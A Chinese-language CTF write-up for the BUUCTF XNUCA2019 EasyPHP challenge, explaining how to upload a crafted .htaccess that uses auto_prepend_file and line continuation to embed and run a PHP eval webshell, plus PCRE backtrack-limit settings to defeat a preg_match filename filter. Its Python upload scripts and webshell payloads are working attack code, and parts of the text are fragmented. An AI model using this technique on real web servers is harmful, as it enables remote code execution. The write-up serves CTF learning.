BUUCTF：[XNUCA2019Qualifier]EasyPHP -- 关于.htaccess 的各种配置操作，

1. 非预期：

3. 预期解：

参考的文章，看最下面的那两篇就是了
总体：
这些方法看起来很棒，其实我感觉这都是参赛者当时 细心看PHP文档才发现的，而我辈现在直接看他们的现成的东西，如此巧妙的方法之下，是大佬们细心找到的bug点，其实真正应该习得的是认真看文档的能力，从很多的配置信息中找到我们能够利用的 点这个才是真正的能力

一、自己做：

做个毛，做，这个题是我能做出来的？？？
没有个数，看WP去，，

这个 正则，文件名开头不能是 字母开头，又不能是数字，那就只能够是

.

没见过的黑名单，那就是上传

.htaccess

二、学到的&&不足：

1. python 上传.htaccess时的\问题

注意在用python传入的时候，这个用一个

\

\

\\

%5c

%0A

2. 关于.htaccess解析错误时

当

.htaccess

/var/log/apache2/arror.log

3. python 上传 .htaccess时，注释符# 的问题！在字符串中进行传输# 也会当作注释符！！

这个注释符

#

python

#

.htaccess

如果是

#

将

#

import requests

content='''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_GET[a]);?>\\'''

url
1e5f2
= "http://host/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

这个注释符

#

python

这个时正确的时候，但是我还是有点小疑问，，这个我用

\

\n

但是还是正确执行了，我的马，那么就是 这个反斜杠并没有当作转移符号，来转义那个

\n

.htaccess

上面的那个理论我验证一下就好了
如下：

运行一个PHP文件，没有爆500，也就是说

.htaccess·

三、学习WP：

1. 非预期：

就是我上面分析的这个，

payload上面说了，这里就不说了

import requests
# %23 是# 的url编码，防止python把自己注释了
#\\ ， 两个\\上传上去就是 一个 \

content='''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''

url = "http://70683073-ad5d-4edc-ae61-5da1f665cb76.node3.buuoj.cn/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

2. 预期解2：

总体：
这些方法看起来很棒，其实我感觉这都是参赛者当时 细心看PHP文档才发现的，而我辈现在直接看他们的现成的东西，其实真正应该习得的是认真看文档的能力，从很多的配置信息中找到我们能够利用的 点这个才是真正的能力

这点我没有注意到

这个正则函数是

preg_match()

然后设置pcre的一些选项可以导致文件名判断失效，从而直接 prepend flag.php

回溯超过100000这么多次就能够绕过了，然后我们直接设置就好了

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

设置上面的这个我懂，但是下面这个为什么设置我就不知道了

啊，这个，，，其实也就是去掉了 那个正则背，，，其实那个正则也就是过滤了

file

这没有成功，，，，出错误，总是报hacker，也就是说并没有绕过正则，，，吐了。。

3. 预期解：

这个预期解，就是跟着思路来做的，给了我们

.htaccess

fl3g.php

.htaccess

最后的 垃圾数据会导致

.htaccess

#

\n

\

就

php_value auto_prepend_file fl3g.php

file

经测试，最后一行导致的

.htaccess

该文件中有一处

include('fl3g,php')

.htaacess

翻一下php的 官方文档php.ini配置选项列表，查找所有可修改范围为

PHP_INI_ALL

PHP_INI_PERDIR

include_path

具体操作看这个吧：
https://www.anquanke.com/post/id/185377#h3-6
https://www.cnblogs.com/ophxc/p/13192775.html

编码操作可用iconv，看我的 Linux的博客。